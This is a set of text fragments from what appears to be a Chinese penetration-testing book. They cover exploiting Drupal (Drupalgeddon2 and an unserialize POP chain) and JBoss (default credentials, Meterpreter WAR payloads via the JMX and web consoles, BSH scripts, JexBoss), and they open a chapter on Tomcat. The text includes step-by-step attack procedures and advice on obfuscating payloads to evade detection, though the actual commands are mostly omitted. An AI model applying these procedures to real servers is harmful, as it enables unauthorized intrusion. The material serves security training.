我们可以看到，使用斜杠将表单值分解，然后使用NestedArray::getValue()函数来获取值，将根据返回的数据呈现结果。在本例中，$form[\"user_picture\"][\"widget\"][0]将变成user_picture/widget/0。我们可以给想要的元素输入自己的路径。在账户注册表单中，有mail和name参数。name参数过滤用户数据，但email参数不过滤。我们可以将这个参数转换成一个数组，并提交一个以#开头的行作为键。 回到/core/lib/Drupal/Core/Render/Renderer.php，我们可以看到#post_render属性使用#children元素，然后将其传递给call_user_func()函数，如图10-13所示。 PHP手册中的形式如图10-14所示。 如果我们传递call_user_func(system,id)，它将作为system(id)执行。因此，我们需要将#post_render定义为exec()，并将#children定义为要传递给exec()的值： 图 10-13 图 10-14 另一种方法是使用#markup元素，其他漏洞利用使用了该元素，你可以在互联网上找到。 10.5.1.2 使用Metasploit对Drupalgeddon2进行利用 Metasploit中有一个模块可用于对Drupalgeddon2进行漏洞利用，我们可以通过在msfconsole中执行以下命令来使用它： 执行以下步骤来利用此漏洞： 1）运行show options来查看选项，如图10-15所示。 2）设置rhosts和rport选项，如图10-16所示。 图 10-15 图 10-16 3）在运行该漏洞利用模块时，它首先通过向“/”发出请求，在响应标头或元标记中查找Drupal版本来进行指纹识别，如图10-17所示。 图 10-17 4）接下来，它通过调用CHANGELOG.txt并查找SA-CORE-2018-002补丁来执行补丁级别检查，如图10-18所示。 完成前两个步骤后，漏洞利用模块通过简单地调用printf函数打印一个值来确认RCE的存在，如图10-19所示。 从图10-19中可以看到，我们使用了testing123字符串。如果服务器以testing123响应，则该服务器存在Drupalgeddon2漏洞，如图10-20所示。 图 10-18 图 10-19 图 10-20 使用PHP的passthru()函数执行id、whoami和uname -a命令来确认存在RCE，如图10-21所示。 服务器将对执行的命令返回响应，如图10-22所示。 5）最后一步是发送PHP meterpreter载荷，该载荷在内存中注入并执行，如图10-23所示。 成功执行后，我们将在终端中打开meterpreter会话，如图10-24所示。 图 10-21 图 10-22 图 10-23 图 10-24 现在，让我们看看另一个Drupal漏洞利用的例子，并尝试理解它是如何工作的。"},
    {"text": "在图10-30中我们可以看到，根据PHP手册中对unserialize()函数的描述，在使用unserialize()时，我们不应该让不受信任的用户输入传递给这个函数。"},
    {"text": "我们可以使用此函数执行函数注入攻击，如图10-33所示。 图 10-33 按照OWASP的定义，函数注入攻击包括从客户端向应用程序插入或注入函数名。"},
    {"text": "我们需要找到一个LinkItem用于导航的实体，使用以下命令在源代码中搜索实体： 图10-35显示了上述命令的输出。 图 10-35 从图10-35中可以看到，LinkItem用于导航到MenuLinkContent.php和Shortcut. php实体，并且正如在Shortcut.php文件中看到的那样，shortcut（快捷方式）实体正在创建一个link属性，如图10-36所示。"},
    {"text": "要触发unserialize()函数，我们需要将目前已经说明的所有元素保持一致： 图 10-36 现在三个条件中已经满足了两个，接下来要做的就是创建序列化的载荷。"},
    {"text": "创建序列化载荷的方法有多种，但是我们将使用一个称为PHP通用小工具链（PHP Generic Gadget Chains，PHPGGC）的库为Guzzle创建序列化载荷。 为了使用phpggc生成序列化的载荷，我们可以使用以下命令： 图10-37显示了上述命令的输出。"},
    {"text": "图 10-38 图 10-39 在图10-39所示的代码中，我们使用以下元素初始化了一个名为my_array的数组： ·my_array[0] = \"Harpreet\" ·my_array[1] = \"Himanshu\" 然后我们使用serialize()函数为数组生成序列化数据。"},
    {"text": "图 10-40 其他常用的PHP序列化格式如下所示： ·a：Array ·b：Boolean ·i：Integer ·d：Double ·O：Common object ·r：Object reference ·s：String ·C：Custom object Metasploit还具有针对此漏洞的内置利用模块。"},
    {"text": "正如我们在图10-42中看到的（在这里我们调用的是__destruct()函数），要在call_user_func()中执行函数注入，必须控制_fn_close方法，以便将危险函数（如system()、passthru()和eval()作为第一个参数传递给call_user_func()。"},
    {"text": "__construct()函数将通过遍历$methods数组在_fn_字符串之前创建函数。 如果$methods数组中有一个close字符串，则该字符串前面会加上一个_fn_，从而生成_fn_close方法。"},
    {"text": "现在，让我们看看$methods数组中的元素，如图10-44所示。 图 10-42 图 10-43 图 10-44 从图10-44中可以清楚地看到，$methods数组中包含一个值为close的元素。"},
    {"text": "10.5.2.2 什么是POP链 内存损坏漏洞，例如缓冲区溢出和格式化字符串，如果存在内存防御措施，例如数据执行保护（DEP）和地址空间布局随机化（ASLR），则可以使用代码重用技术（如Return-to-libc，ret2libc）和面向返回编程（Return-Oriented Programming，ROP）来绕过这些防御措施。"},
    {"text": "POP链是针对Web应用程序中的对象注入漏洞的一种利用方法，该漏洞利用具有任意修改注入给定Web应用程序中的对象属性的能力，从而可以操纵受害者应用程序的数据和控制流。"},
    {"text": "图 10-46 一旦析构函数被调用（在对象销毁时自动完成调用），_fn_close方法的属性将传递给call_user_func()，并执行system(id)，如图10-47所示。"},
    {"text": "我们可以使用以下PHP代码反序列化它： 运行该代码将得到以下输出： 在执行时，这会导致system()函数执行，并将命令作为参数传递给该函数，然后将输出返回给我们。"},
    {"text": "10.5.2.4 使用Metasploit通过unserialize()利用RESTful Web Services RCE 现在，我们了解了序列化的概念以及如何对载荷进行序列化，让我们使用Metasploit模块来利用此漏洞。"},
    {"text": "未知 10.6 小结 本章首先学习了Drupal的架构以及目录结构。然后，我们学习了如何手动和自动执行Drupal侦察。之后，我们参考了两个漏洞利用的示例，并对整个漏洞利用过程进行了逐步介绍。 在下一章中，我们将研究针对JBoss服务器的枚举和利用。 未知 10.7 问题 1.同一漏洞利用是否可以用于攻击不同版本的Drupal？ 2.我们是否需要在本地安装Drupal，才能对远程Drupal站点进行漏洞利用？ 3.RESTful API Web Services漏洞利用模块无法正常工作，我们该怎么办？ 4.我们可以访问Drupal管理员账户，如何在服务器上实现RCE？ 5.我们在Drupal网站上发现了一个.swp文件，可以将其用于漏洞利用吗？ 未知 10.8 拓展阅读 ·Drupal 8的架构：https://www.drupal.org/docs/8/modules/entity-browser/architecture。 ·深入了解Drupal 8 RCE：https://www.ambionics.io/blog/drupal8-rce。 未知 第四篇 技术平台渗透测试 在本篇中，我们将介绍最常用的技术平台，如JBoss、Tomcat和Jenkins。我们还将研究针对它们的枚举和深入利用。我们将介绍针对上述技术平台的新的常见漏洞和披露，并尝试了解其根本原因。 本篇包括以下章节： ·第11章 技术平台渗透测试——JBoss ·第12章 技术平台渗透测试——Apache Tomcat ·第13章 技术平台渗透测试——Jenkins 未知 第11章 技术平台渗透测试——JBoss 本书的前几章介绍了如何对内容管理系统（CMS）进行渗透测试。现在我们对不同的CMS架构以及使用不同的方法进行测试有了清晰的理解，接下来我们继续学习如何针对不同的技术平台进行测试。本章我们将学习JBoss的架构及针对它的漏洞利用。对于专注基于Java应用自动部署的组织来说，JBoss是最容易部署的应用程序之一。由于其灵活的架构，许多组织选择使用JBoss，但恰恰正是因为其易用性，JBoss也成为众多攻击者的目标。 本章将涵盖以下内容： ·Jboss简介。 ·使用Metasploit对基于JBoss的应用服务器进行侦察。 ·对JBoss进行漏洞评估。 ·通过Metasploit模块对Jboss进行漏洞利用。 未知 11.1 技术条件要求 学习本章内容需要满足以下技术条件： ·一个JBoss应用服务器（AS）实例（https://jbossas.jboss.org/）。 ·Metasploit框架（https://www.metasploit.com/）。 ·第三方工具JexBoss（https://github.com/joaomatosf/jexboss）。 未知 11.2 JBoss简介 JBoss AS是一个开源的基于Java企业版（Java EE）的应用服务器。该项目由Mark Fluery于1999年开始创建。自此之后，JBoss Group（LLC）于2001年组建，并于2004年演变成JBoss公司。Oracle在2006年初试图收购JBoss公司，但是在同年晚些时候，RedHat成功收购了这家公司。 由于JBoss AS基于Java并且应用服务器支持跨平台安装，这与市场上其他专有软件不同，JBoss以非常低的价格提供了相同的功能。以下是JBoss的一些优点： ·基于插件架构的灵活性。 ·易于安装和设置。 ·提供完整的Java EE堆栈，包括企业JavaBeans（EJB）、Java消息服务（JMS）、Java管理扩展（JMX）和Java命名和目录接口（JNDI）。 ·可以运行企业应用程序（EA）。 ·节约成本。 由于JBoss具有灵活的插件架构，开发人员不必花时间为应用程序开发服务。其目标是节省资金和资源，从而使开发人员把更多的时间放在正在开发的产品上。 未知 11.2.1 JBoss架构（JBoss 5） 在过去的几年中，随着每一个主要版本的发布，JBoss架构已经逐渐改变，也添加了新的服务。在本章中，我们将了解JBoss AS 5的基本架构，并介绍此架构的漏洞利用部分。JBoss AS架构如图11-1所示。 图 11-1 我们将架构划分为如下四个主要组件： ·用户应用程序： 顾名思义，这个组件处理用户的应用程序，包括XML配置文件、Web应用程序资源（Web Application Resource，WAR）文件等。这是部署用户应用程序的地方。 ·组件部署器： 在JBoss中用于部署组件。MainDeployer、JARDeployer和SARDeployer是JBoss服务器内核中的硬编码部署器。所有其他部署器都属于托管Bean（Managed Bean，MBean）服务，它们使用MainDeployer将自己注册为部署器。 ·企业服务： 负责处理多项任务，例如事务、安全性和Web服务器。 ·JBoss微容器： 可以作为JBoss AS之外的独立容器使用，旨在提供一个配置和管理POJO（Plain Old Java Object）的环境。 接下来让我们看看目录结构。"},
    {"text": "未知 11.2.2 JBoss文件及目录结构 JBoss有一个简化的目录结构。通过浏览Jboss的home目录并列出内容，我们可以看到如图11-2所示的结构。 图 11-2 让我们试着了解这些目录是什么以及它们包含哪些文件和文件夹： ·bin：该目录包含所有入口点Java包（Java Archives，JAR）和脚本，包括启动和关闭。 ·client：该目录存储可能由外部Java客户端应用使用的配置文件。 ·common：该目录包含所有服务端的通用JAR包及配置文件。 ·docs：该目录包含JBoss文档及模式（schema），它们在开发过程中非常有用。 ·lib：该目录包含JBoss启动所需的所有JAR包。 ·server：该目录包含与不同服务器配置相关的文件，包括正式环境和测试环境。 然后进入server目录并列出内容，我们可以看到如图11-3所示的结构。 图 11-3 我们打开其中一个配置文件并了解其结构。图11-4显示了default文件夹的内容。 图 11-4 我们看一下图11-4中的目录分解： ·conf：该目录包含配置文件，包括login-config及bootstrap config。 ·data：该目录可用于在文件系统中存储内容的服务。 ·deploy：该目录包含部署在服务器上的WAR文件。 ·lib：该目录是启动时把静态Java类库加载到共享类路径的默认位置。 ·Log：该目录是所有日志写入的目录。 ·tmp：JBoss使用该目录存储临时文件。 ·work：该目录包含编译后的JSP和类文件。 进入deploy目录并列出其内容，如图11-5所示，我们可以看到不同的WAR文件、XML文件等。 图 11-5 我们需要了解的一些文件如下： ·admin-console.war是JBoss AS的管理控制台。 ·ROOT.war是根（/root）Web应用程序。 ·jbossweb.sar是服务器上部署的Tomcat Servlet引擎。 ·jbossws.sar是支持Web服务的JBoss服务。 大多数时候，我们会发现服务器上缺少admin-console，原因是JBoss管理员会从服务器中删除admin-console、web-console和JMX-console应用。尽管这是保护JBoss实例的一种非常简洁的方法，但是这并不能有效抵御攻击。JBoss AS还可以通过MBean进行管理。对管理员来说，尽管MBean只是一个特性，但它也可以成为攻击者渗透网络的入口。为了访问MBean，我们首先需要了解文件及目录结构，因为这可以帮助我们了解在流程上如何访问MBean。部署在JBoss AS上的大量MBean可以直接通过JMX-console及web-console进行访问，这也造成了许多与部署相关的安全问题。 在开始对JBoss进行漏洞利用之前，我们首先来了解一下如何在JBoss AS上执行侦察和枚举。 未知 11.3 侦察和枚举 在本节，我们将重点介绍针对JBoss服务器的侦察和枚举。有多种方法可以识别JBoss服务器，例如JBoss默认监听HTTP端口8080。让我们看看用来对JBoss进行侦察时常用的一些技术。 未知 11.3.1 通过主页检测 我们可以使用的最基本的技术之一是访问Web服务器主页，该主页显示JBoss的标志，如图11-6所示。 图 11-6 当我们打开JBoss主页时，默认的JBoss设置会显示其他超链接，我们可以浏览这些超链接以获取更多信息。 未知 11.3.2 通过错误页面检测 有时我们会发现JBoss AS运行在8080端口上，但却访问不了主页。在这种情况下，404错误页面可能暴露正在使用的JBoss应用程序实例的JBoss AS标头和版本号，如图11-7所示。 图 11-7 404错误页面可以通过打开任何随机的不存在的链接生成，这将给我们一个错误提示，正如我们在图11-7中看到的。 未知 11.3.3 通过HTML<title>标签检测 在某些情况下，当我们尝试访问JBoss AS时，会得到一个空白页。通常，这是为了保护主页免受公开曝光和未经身份验证的访问。由于主页中包含非常有价值的信息，因此JBoss管理员倾向于通过反向代理身份验证或从应用程序中删除JMX控制台、Web控制台和admin控制台来保护页面。我们将在本章的扫描和利用阶段进一步讨论这些内容： 如果得到一个空白页面，我们仍然可以通过HTML <title>标签来识别JBoss，这会在页面标题中显示一些信息，如图11-8所示。 图 11-8 未知 11.3.4 通过X-Powered-By检测 JBoss在HTTP响应标头中公开了它的版本号和编译信息，如图11-9所示。在X-Powered-By HTTP响应标头中，我们可以找到其版本号及编译信息。因为部署在JBoss上的应用程序没有配置为隐藏标头信息，所以即使在管理控制台或Web控制台不可访问时，这些信息也是可见的。 图 11-9 大多数攻击者通过在Shodan、Censys等系统中搜索相同的标头信息来检测正在被使用的JBoss AS版本。在撰写本书时，有19 000多个JBoss AS服务器可能被利用（如果没有被安全地配置）。 攻击者会查找此类信息并使用自动化的扫描器来查找易受攻击的JBoss实例。一旦被利用，JBoss就可能为攻击者打开进入一个组织网络的大门。 未知 11.3.5 通过散列favicon.ico检测 这种技术通常不为渗透测试人员所知，因为它涉及一个图标的散列。这实际上是另一种判断服务器是否运行JBoss AS的好方法。我们可以对favicon.ico文件（一个图标文件）进行MD5散列，如图11-10所示。 图 11-10 通过在OWASP favicon数据库中搜索哈希值，我们就可以判断该服务器是否正在运行JBoss，如图11-11所示。 由于OWASP favicon数据库非常有限，因此我们可以创建自己的数据库来执行此操作。 图 11-11"},
    {"text": "未知 11.3.6 通过样式表进行检测 通过查看HTML源代码，我们可以看到JBoss样式表（jboss.css），如图11-12所示，它清晰地表明JBoss AS正在运行。 图 11-12 有时，管理员会更改JBoss文件的命名约定，但在此过程中，他们会忘记添加必要的安全配置。现在，我们已经手动收集了用于标识JBoss AS实例使用情况的信息，接下来我们尝试使用Metasploit识别实例。 未知 11.3.7 使用Metasploit执行JBoss状态扫描 Metasploit还为JBoss枚举提供了内置的辅助模块，其中之一是auxiliary/scanner/http/jboss_status。此模块用于查找状态页，该页面显示正在运行的应用程序服务器的状态历史。我们可以在msfconsole中使用以下命令来加载模块： 图11-13显示了上面命令的输出以及运行辅助模块所需的参数选项。 图 11-13 一旦我们设置了选项，然后运行辅助模块，如图11-14所示，服务器将根据发现的状态页确认应用程序服务器是基于JBoss的。 图 11-14 模块使用如图11-15所示的正则表达式在页面上查找文本。 图 11-15 该模块执行以下操作： 1）它向服务器发送一个GET请求以查找/status页面（默认页面由Target_uri选项设置）。 2）如果它收到来自服务器的200 OK响应，将会查找HTML <title>标记中的Tomcat Status字符串。 3）如果找到标记，模块将根据正则表达式查找数据，如图11-15所示。 当模块执行时，源IP、目标IP和被调用页面均存储于JBoss中，然后这些信息会被打印出来，我们可以在/status页面中查看，如图11-16所示。 图 11-16 jboss_status模块通过查找这一特定信息来采集JBoss AS实例的指纹信息。 未知 11.3.8 JBoss服务枚举 运行在JBoss WS（JBoss Web Service）上的服务列表也可以为我们提供关于JBoss服务器的信息。 打开JBoss WS URI（即浏览/jbossws/services）将确认JBoss AS是否正在运行，如图11-17所示。现在，我们对如何枚举运行服务的JBoss并收集有关它们的更多信息有了更好的了解，接下来我们继续学习下一节，它将向我们展示如何在JBoss AS实例上执行漏洞扫描。 图 11-17 未知 11.4 在JBoss AS上执行漏洞评估 如果我们在一台机器上发现一个JBoss AS实例，且需要执行漏洞评估，那么可以使用Metasploit来执行。Metasploit为此提供了一个名为auxiliary/scanner/http/jboss_vulnscan的模块，我们可以使用它在JBoss AS上执行漏洞扫描。该模块会检查一些漏洞，例如身份验证绕过、默认密码和可访问的JMX-console功能。以下是我们在JBoss AS上执行漏洞评估的步骤： 1）在msfconsole中输入如下命令，以使用jboss-vulnscan： 图11-18显示了上述命令的输出。 图 11-18 2）设置所有需要的选项，如图11-19所示。 图 11-19 3）一旦我们运行扫描器，它会检查各种漏洞，并报告在服务器上发现了哪些漏洞，如图11-20所示。 该模块可在运行于不同端口上的应用和Java命名服务上查找一些特定文件。 图 11-20 未知 11.4.1 使用JexBoss执行漏洞扫描 还有另一个非常强大的工具叫作JexBoss，它是为JBoss和其他技术平台的枚举和利用而设计的，由Jo?o F. M. Figueiredo开发。在本节中，我们将快速了解如何使用JexBoss。该工具可以从https://github.com/joaomatosf/jexboss下载并安装。 完成所有设置后，我们可以使用以下命令运行该工具： 让我们使用这个工具（见图11-21所示）来查找JBoss AS实例上的漏洞。 图 11-21 图11-21中使用的命令会查找易受攻击的Apache Tomcat Struts、servlet反序列化以及Jenkins。该工具也会检查多种JBoss漏洞，我们将发现服务器是否易受这些漏洞的攻击。 未知 11.4.2 可被攻击的JBoss入口点 众所周知，JBoss带有许多功能齐全且可操作的附加组件和扩展，例如JNDI、JMX和JMS，因此针对JBoss利用的可能入口点的数量会相应增加。表11-1列出了可用于JBoss侦察和利用的易受攻击的MBean及其各自的服务和方法名称。 表 11-1 MainDeployer MBean是部署的入口点，所有组件的部署请求都被发送到Main-Deployer。MainDeployer可以部署WAR归档文件、JARs、企业应用程序归档文件（EAR）、资源归档文件（RAR）、Hibernate归档文件（HAR）、服务归档文件（SAR）、BSHes和许多其他部署包。 未知 11.5 JBoss漏洞利用 现在，我们已经清楚地了解了JBoss的侦察和漏洞扫描功能，接下来让我们学习JBoss的漏洞利用。可以使用以下几种基本方法对JBoss进行漏洞利用： ·通过管理控制台（admin-console）对JBoss进行漏洞利用。 ·使用MainDeployer服务，通过JMX控制台对JBoss进行漏洞利用。 ·使用MainDeployer服务（Metasploit版本），通过JMX控制台对JBoss进行漏洞利用。 ·使用BSHDeployer服务，通过JMX控制台对JBoss进行漏洞利用。 ·使用BSHDeployer服务（Metasploit版本），通过JMX控制台对JBoss进行漏洞利用。 ·使用Java Applet，通过Web控制台对JBoss进行漏洞利用。 ·使用Invoker方法，通过Web控制台对JBoss进行漏洞利用。 ·使用第三方工具，通过Web控制台对JBoss进行漏洞利用。 让我们来逐个看看这些漏洞利用方法。"},
    {"text": "未知 11.5.1 通过管理控制台对JBoss进行漏洞利用 我们将在本节开始梳理漏洞利用的过程。第一步是获得访问管理控制台的权限，默认情况下，管理控制台的用户名和密码分别为admin和admin。图11-22显示了管理后台的登录页面。 图 11-22 一旦成功登录，我们可以看到如图11-23所示页面。 图 11-23 执行漏洞利用的下一步是找到在服务器上执行命令的方法，以便获得服务器级别的访问权限。从左侧菜单中，选择Web Application（WAR）选项，我们将被重定向到图11-24所示的页面。单击Add a new resource按钮。 图 11-24 这将把我们转到一个新的页面，在那里可以选择上传一个WAR文件。通过使用msfvenom和以下命令，可以生成WAR文件： 一旦生成了基于WAR的Metasploit载荷，我们将把文件上传到控制台的Web Application（WAR）位置，如图11-25所示。 图 11-25 一旦文件上传成功，我们只需要转到它被解压到的目录，并在Web浏览器上打开它，就可以获得Meterpreter连接，如图11-26所示。 图 11-26 在运行载荷之前，我们需要考虑一些事情，最重要的是检查出口连接。如果载荷被执行，但是防火墙阻止了到服务器的出口流量（出站连接），那么就需要找到一种方法来获取反向shell。如果无法获得，我们可以选择到服务器的绑定连接。 未知 11.5.2 通过JMX控制台进行漏洞利用（MainDeployer方法） 请考虑以下来自JBoss官方文档的引用（https://docs.jboss.org/jbossas/docs/Getting_Started_Guide/4/html-single/index.html）： JMX Console是JBoss的管理控制台，它提供了组成服务器的JMX MBean原始视图。它们可以提供有关正在运行的服务器的大量信息，并允许你修改其配置，启动和停止组件等。 如果我们发现JBoss的开放实例未经身份验证就可以访问JMX控制台，那么就可以使用MainDeployer选项将shell上传到服务器。这允许我们从URL获取WAR文件并将其部署到服务器上。JMX控制台如图11-27所示。 图 11-27 我们实施如下步骤开始漏洞利用： 1）在控制台页面搜索MainDeployer服务选项，如图11-28所示。 图 11-28 2）单击该选项会跳转到新的页面，如图11-29所示。 3）向下滚动页面，我们可以看到多个deploy方法。选择URL Deploy方法，该方法允许我们从远程URL获得WAR文件，如图11-30所示。 图 11-29 图 11-30 4）通过如下命令生成基于WAR的Metasploit载荷： 5）现在我们需要在一个HTTP服务器上托管WAR文件，并将URL粘贴到输入字段中，如图11-31所示。 图 11-31 6）将漏洞利用处理程序（exploit handler）按图11-32所示进行设置。 图 11-32 7）一旦成功调用，我们将从服务器获得以下消息，如图11-33所示。 图 11-33 我们的s.war载荷已经部署完成。 8）接下来，我们需要找到正确的stager名称，以便调用该文件。解压缩Metasploit生成的文件，如图11-34所示。 图 11-34 在web.xml文件中定位servlet name，如图11-35所示。 9）我们通过把servlet name添加到URL来调用载荷，如图11-36所示。 10）输出将为空，但我们可以检查Metasploit漏洞利用处理程序上的stager请求，如图11-37所示。 图 11-35 图 11-36 图 11-37 通常更好的方法是自定义WAR文件，并使用常见的技术混淆内容。另外，为了有助于进一步规避检测，我们需要将文件名从随机名称更改为特定的通用名称，例如login.jsp、about.jsp或logout.jsp。 未知 11.5.3 使用Metasploit（MainDeployer）通过JMX控制台进行漏洞利用 Metasploit还有一个内置的漏洞利用模块，可以使用MainDeployer方法对JMX控制台进行漏洞利用。现在让我们使用Metasploit模块通过JMX控制台上传一个shell。可以使用以下命令加载漏洞利用模块： 我们将会看到图11-38中所示的可用选项。 我们可以设置需要的选项，比如rhosts以及rport，如图11-39所示。 图 11-38 图 11-39 完成所有设置后，就可以运行漏洞利用程序了，Metasploit将执行与上一节中手动执行的相同步骤，从而在服务器上授予我们Meterpreter访问权限，如图11-40所示。 有时，如果JMX控制台开启身份验证保护，则该模块可能会无法工作。我们总是可以尝试对身份验证执行字典攻击，如果成功，则可以通过设置HttpUsername和HttpPassword选项，在此模块上使用在字典攻击期间找到的用户名和密码。 未知 11.5.4 通过JMX控制台（BSHDeployer）进行漏洞利用 通过JMX控制台在JBoss上实现代码执行的另一种方法是使用BeanShell Deployer（BSHDeployer）。BSHDeployer允许我们以Bean shell脚本的形式在JBoss中部署一次性执行的脚本和服务。在获得JMX控制台访问权限后，我们可以查找service=BSHDeployer对象名称，如图11-41所示。 图 11-40 图 11-41 单击该对象将重定向到deployer页面，如图11-42所示。 图 11-42 这里我们需要将输入用于在服务器上部署载荷的BSH文件的URL。一个执行漏洞利用程序的简单方法是通过BSHDeployer来使用第三方工具，例如JexBoss。这也可以通过使用Metasploit来实现。"},
    {"text": "未知 11.5.5 使用Metasploit（BSHDeployer）通过JMX控制台进行漏洞利用 Metasploit还可以用于部署BSH以在服务器上实现代码执行，为了实现这一目的，Metasploit内置了一个jboss_bshdeployer漏洞利用模块，让我们看看它的用法。可以使用以下命令在msfconsole中加载漏洞利用模块： 我们可以输入show options来查看选项列表，如图11-43所示。 图 11-43 在进行漏洞利用前我们需要设置相应的选项，如图11-44所示。 图 11-44 我们需要设置在这个模块中使用的载荷（默认为java/meterpreter/reverse_tcp）。一个通用的选择是使用基于Java的Meterpreter，但是在Java载荷不起作用的情况下，我们总是可以尝试使用基于OS类型和架构的载荷。 在运行该漏洞利用模块后，Metasploit将创建一个BSH脚本并调用部署程序，然后部署程序将部署并提取shellcode。调用JSP shellcode将执行我们的载荷，然后会得到一个反向连接，如图11-45所示。 图 11-45 现在我们知道了如何通过BSHDeployer来对JMX控制台进行漏洞利用，下面让我们看看如何通过Web控制台进行漏洞利用。 未知 11.5.6 通过Web控制台（Java Applet）进行漏洞利用 本节将介绍JBoss Web控制台。请注意，JBoss Web控制台已被弃用并被管理控制台取代，但它对我们仍然有用，因为对于JBoss服务器的旧版本，Web控制台仍然可用。在浏览器中打开Web控制台时，也可能会遇到一些错误提示，如图11-46所示。 图 11-46 为了允许Applet运行，我们需要更改Java安全设置，将JBoss实例的域名和IP地址添加到Java例外站点列表中，如图11-47所示。 图 11-47 添加例外列表之后，虽然我们仍然会收到来自浏览器的警告，但是可以继续下一步并单击Continue按钮，如图11-48所示。 图 11-48 在下一个弹出窗口中，我们需要单击Run按钮以允许应用程序运行，如图11-49所示。 然后我们将看到JBoss服务器的Web控制台。在这里，可以按照11.5.3节中介绍的相同步骤继续使用MainDeployer上传shell。正如图11-50所示，我们需要做的就是在左侧窗格中找到并选择那个对象。 图 11-49 图 11-50 单击MainDeployer项将跳转到可以在服务器上部署WAR文件以实现代码执行的页面，如图11-51所示。 默认情况下，在大多数浏览器中Java Applet是禁用的，因此，当访问JBoss服务器的Web控制台页面时，我们可能只看到一个空白页面。打开Web控制台时遇到空白页并不意味着该服务不可访问，这只意味着我们必须调整一下浏览器，以允许Java Applet运行。"},
    {"text": "在请求/web-console/Invoker URI路径时，执行curl命令将从服务器获得一个响应，其中响应文件的前4个字节中包含0xAC和0xED（即十六进制代码字符aced）。"},
    {"text": "图 11-51 图 11-52 Invoker Servlet可以在Web控制台或网址http://example.com/web-console/Invoker中找到，且通常可以在没有身份验证的情况下访问。"},
    {"text": "·{6F 72 67 2E 6A 62 6F 73 73 73 2E 69 6E 76 6F 63 61 74 69 6F 6E 2E 4D 61 72 73 68 61 6C 6C 65 64 56 61 6C 75 65} org.jboss.invocation.MarshalledValue：指类名。"},
    {"text": "该压缩包包含以下文件： ·BeanShellDeployer/mkbeanshell.rb ·WAR/shell.jsp ·WAR/WEB-INF/web.xml ·Webconsole-Invoker/webconsole_invoker.rb ·JMXInvokerServlet/http_invoker.rb ·JMXInvokerServlet/jmxinvokerservlet.rb ·jboss_jars/console-mgr-classes.jar ·jboss_jars/jbossall-client.jar ·README ·setpath.sh ·Rakefile 图11-53展示了这个团队发布的不同脚本。"},
    {"text": "11.5.7.1 创建BSH脚本 压缩包中有一个名为mkbeanshell的脚本，它可以把一个WAR文件作为输入，然后创建一个BSH脚本作为输出： 图 11-53 1）通过使用-h参数来执行这个脚本，可以看到所有可用的命令选项列表，如图11-54所示。 图 11-54 2）现在，我们可以使用以下命令来创建一个BSH脚本： 命令的输出结果（即BSH脚本）将被保存到输出的文件中，即前面命令里提及的文件。"},
    {"text": "现在，Windows服务器已经没有/tmp/文件夹，而且mkbeanshell Ruby脚本只有修改路径的选项，并且大多数情况下，我们可能完全不知道服务器的路径。"},
    {"text": "图 11-57 5）我们可以用下面几行代码替换原来代码（见图11-57）中的最后几行，来获取通用的文件位置： 6）此处，可以看到System.getProperty(\"jboss.server.home.dir\");获取了JBoss目录。"},
    {"text": "我们需要做的就是使用new File(jboss_home + \"/deploy/\").mkdir();在home目录中创建一个名为deploy的新目录，然后使用Base64进行解码，并将其作为test.war写入deploy目录中。"},
    {"text": "图 11-58 准备好BSH脚本后，我们可以使用来自同一个第三方工具redteam-jboss.tar.gz的webconsole_invoker.rb脚本将BSH脚本远程部署到JBoss AS实例上。 11.5.7.2 使用webconsole_invoker.rb部署BSH脚本 我们可以使用webconsole_invoker.rb部署BSH脚本： 1）使用-h选项执行Ruby脚本将会展示所有选项的列表，如图11-59所示。"},
    {"text": "该方法接收两个输入参数，都是String类型，所以我们使用-s选项来传递它们，然后再把路径传递给我们的BSH文件（使用-p选项传递文件名和部署器），如图11-60所示。"},
    {"text": "图 11-60 3）执行脚本之后，我们的test.war文件将会被部署，这会在我们的home文件夹下的/test/文件夹中创建shell，浏览这个链接会允许我们访问刚被上传的基于JSP的Web shell，如图11-61所示。"},
    {"text": "图 11-61 11.5.7.3 通过JMXInvokerServlet(JexBoss)进行漏洞利用 另一个很棒的JBoss漏洞利用工具是JexBoss。 JexBoss是用于在JBoss AS和其他Java平台、框架和应用程序中进行测试和漏洞利用的一种工具。 JexBoss是开源的，可以在GitHub上找到，网址为https://github.com/joaomatosf/jexboss。"},
    {"text": "只需要使用下面的命令把正在运行JBoss服务器的URL传过去即可： 如果Python还没配置好，我们可以使用python jexboss.py --jboss -P语法来执行上面的命令，两个选项都可以工作。"},
    {"text": "未知 11.5.8 使用Metasploit通过JMXInvokerServlet进行漏洞利用 Metasploit还有个模块名为JMXInvokerServlet，可以使用下面的命令来加载它： 在使用这个漏洞利用模块之前，我们需要先确保/invoker/JMXInvokerServlet的路径已经在服务器上存在了。如果路径不存在的话，漏洞利用将会失败。图11-65展示了前面命令的输出结果。 图 11-65 为了检查/invoker/JMXInvokerServlet路径是否存在，我们可以使用下面的命令来确认，如图11-66所示。 图 11-66 如果服务器以字节形式（从ac ed开头）的序列化数据进行响应，我们就可以运行漏洞利用模块，这将使我们能够通过Meterpreter访问服务器，如图11-67所示。 图 11-67 注意：如果不能成功获取反向shell，也可以选择绑定shell连接。 未知 11.6 小结 在这一章，我们学习了JBoss的基础知识，然后继续学习了文件和目录的结构。接下来，我们又讨论了JBoss的枚举类型，然后继续学习了使用Metasploit框架进行漏洞评估的方法，之后学习了通过管理控制台进行漏洞利用的流程。最后，我们通过Web控制台进行了漏洞利用操作。 下一章，我们将学习关于Apache Tomcat的渗透测试。 未知 11.7 问题 JBoss是否可以免费下载？ 未知 11.8 拓展阅读 JBoss目录结构： ·https://www.protechtraining.com/content/jboss_admin_tutorialdirectory_structure ·https://access.redhat.com/documentation/en-us/jboss_enterprise_application_platform/5/html/administration_and_configuration_guide/server_directory_structure Java序列化格式： ·https://www.programering.com/a/MTN0UjNwATE.html ·https://www.javaworld.com/article/2072752/the-java-serializationalgorithm-revealed.html 未知 第12章 技术平台渗透测试——Apache Tomcat 在第11章中，我们学习了在JBoss应用服务器（JBoss AS）上进行渗透测试。现在让我们看一下Apache Tomcat技术平台。Apache Tomcat软件是在开源的环境中开发的，并根据Apache License版本2发行。Apache Tomcat是一个Java Servlet容器，实现了多个核心企业功能，包括Java Servlet、Java Server Pages（JSP）、Java WebSocket和Java Persistence API（JPA）。许多组织在内部都有基于Java的应用程序，这些应用程序部署在Apache Tomcat上。鉴于众多支付网关、核心银行应用和客户关系管理（CRM）平台（以及许多其他功能）都运行在Apache Tomcat上，易受攻击的Apache Tomcat软件是攻击者的金矿。 本章将涵盖以下内容： ·Tomcat简介。 ·Apache Tomcat架构。 ·文件和目录结构。 ·检测Tomcat的安装。 ·版本检测。 